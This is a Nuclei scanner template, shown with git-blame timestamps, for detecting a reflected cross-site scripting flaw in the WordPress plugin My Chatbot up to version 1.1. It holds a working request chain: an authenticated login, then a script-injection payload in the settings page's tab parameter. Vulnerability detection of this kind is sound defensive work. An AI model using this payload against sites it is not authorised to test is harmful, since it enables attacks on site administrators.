nuclei-templates/vulnerabilities/wordpress/my-chatbot-xss.yaml

41 lines
1.2 KiB
YAML
Raw Normal View History

2022-02-19 11:29:51 +00:00
id: my-chatbot-xss
info:
name: My Chatbot <= 1.1 - Reflected Cross-Site Scripting (XSS)
author: dhiyaneshDk
severity: medium
description: The plugin does not sanitise or escape its tab parameter in the Settings page before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue.
reference: https://wpscan.com/vulnerability/c0b6f63b-95d1-4782-9554-975d6d7bbd3d
2022-02-22 14:23:43 +00:00
tags: wordpress,wp-plugin,xss,authenticated
2022-02-19 11:29:51 +00:00
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-02-22 08:22:36 +00:00
GET /wp-admin/options-general.php?page=my-chatbot&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
2022-02-19 11:29:51 +00:00
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-02-22 08:22:36 +00:00
- "</script><script>alert(document.domain)</script>"
2022-02-19 11:29:51 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200